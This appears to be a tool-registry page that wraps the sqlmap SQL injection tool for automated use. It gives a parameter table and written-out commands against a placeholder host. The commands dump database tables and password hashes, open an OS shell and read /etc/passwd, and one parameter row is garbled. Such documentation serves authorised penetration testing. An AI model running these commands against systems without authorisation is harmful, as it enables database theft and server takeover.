security enabled verified high v1.0.0

sqlmap

Automatic SQL injection detection and exploitation tool with support for all major DBMS and injection techniques.

📋 Live Preview

sqlmap -u {target} --batch --level {level} --risk {risk}

🌍 target → url 🌍 level → 1 🌍 risk → 1

sqlmap -u {target} --batch --level {level} --risk {risk}

Sandbox: execFile · Timeout: 900s

Capabilities

web.injection.sql

web.exploitation.database

web.discovery.sqli

security.exploit.sqli

Parameters

Name	Type	Required	Default	Description	Aliases
`url`	string	Yes	-	Target URL (-u)	`-u`
`data`	string	No	-	POST data string (--data)	`--data`
`cookie`	string	No	-	HTTP Cookie header (--cookie)	`--cookie`
`level`	integer	No	1	Level of tests to perform 1-5 (--level)	`--level`
`risk`	integer	No	1	Risk of tests 1-3 (--risk)	`--risk`
`dbms`	string	No	-	Force back-end DBMS type (--dbms)	`--dbms`
`technique`	string	No	BEUSTQ	SQL injection techniques to use (--technique)	`--technique`
`batch`	boolean	No	-	Never ask for user input (--batch)	`--batch`
`dump`	boolean	No	-	Dump DBMS database table entries (--dump)	`--dump`
`tables`	boolean	No	-	Enumerate DBMS database tables (--tables)	`--tables`
`columns`	boolean	No	-	Enumerate DBMS database table columns (--columns)	`--columns`
`dbs`	boolean	No	-	Enumerate DBMS databases (--dbs)	`--dbs`
`os-shell`	boolean	No	-	Prompt for an interactive O/S shell (--os-shell)	`--os-shell`
`proxy`	string	No	-	Proxy URL (--proxy)	`--proxy`
`threads`	integer	No	1	Number of threads (--threads)	`--threads`
`C`	boolean	No	-	COL DBMS database table column to enumerate	`-C`
`D`	boolean	No	-	DB DBMS database to enumerate	`-D`
`T`	boolean	No	-	TBL DBMS database table to enumerate	`-T`
`banner`	boolean	No	-	Retrieve DBMS banner	`--banner`
`current_db`	boolean	No	-	Retrieve DBMS current database	`--current-db`
`current_user`	boolean	No	-	Retrieve DBMS current user	`--current-user`
`file_read`	boolean	No	-	Read file from DBMS file system	`--file-read`
`file_write`	boolean	No	-	Write file to DBMS file system	`--file-write`
`flush_session`	boolean	No	-	Flush session files for current target	`--flush-session`
`fresh_queries`	boolean	No	-	Ignore query results stored in session file	`--fresh-queries`
`h`	boolean	No	-	Show this help	`-h`, `--help`
`headers`	boolean	No	-	127.0.0.1")	`--headers`, `-Forwarded-For`
`os_cmd`	boolean	No	-	Execute OS command	`--os-cmd`
`passwords`	boolean	No	-	Enumerate DBMS users password hashes	`--passwords`
`random_agent`	boolean	No	-		`--random-agent`, `-Agent`
`tamper`	boolean	No	-	Tamper script to bypass WAF	`--tamper`

Artifacts

Type	Description	MIME	Schema	Trust
`web.exploit.sqli.dump`	Extracted database contents	text/plain	-	verified
`web.exploit.sqli.session`	SQLMap session file	application/octet-stream	-	verified

Contract

Inputs

web.target.url

Target URL with injectable parameter

web.injection.data

POST data string

Outputs

web.injection.sqli.results

SQL injection test results

web.exploit.data

Extracted data

Side effects: network_trafficfilesystem_write

Workflow Edges

Produces

web.injection.sqli.resultsweb.exploit.data

Consumes

web.target.urlweb.injection.data

Resource Profile

Resource	Value
CPU	high
Memory	256 MB
Network	medium
Disk I/O	medium

Examples

Basic SQL injection detection

sqlmap -u "http://target.com/page?id=1" --batch

Enumerate databases

sqlmap -u "http://target.com/page?id=1" --dbs --batch

Dump specific database

sqlmap -u "http://target.com/page?id=1" -D database_name --dump --batch

Get OS shell

sqlmap -u "http://target.com/page?id=1" --os-shell --batch

With POST data and cookie

sqlmap -u "http://target.com/login" --data "user=admin&pass=test" --cookie "PHPSESSID=abc123" --batch

Documentation

SQLMap — Automatic SQL Injection Tool

SQLMap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over database servers.

Basic Detection

# Simple GET parameter test
sqlmap -u "http://target.com/page?id=1" --batch

# POST data test
sqlmap -u "http://target.com/login" --data "user=admin&pass=test" --batch

Enumeration

# List databases
sqlmap -u "http://target.com/page?id=1" --dbs --batch

# List tables in a database
sqlmap -u "http://target.com/page?id=1" -D database_name --tables --batch

# Dump table contents
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump --batch

Exploitation

# OS shell
sqlmap -u "http://target.com/page?id=1" --os-shell --batch

# Read file from server
sqlmap -u "http://target.com/page?id=1" --file-read "/etc/passwd" --batch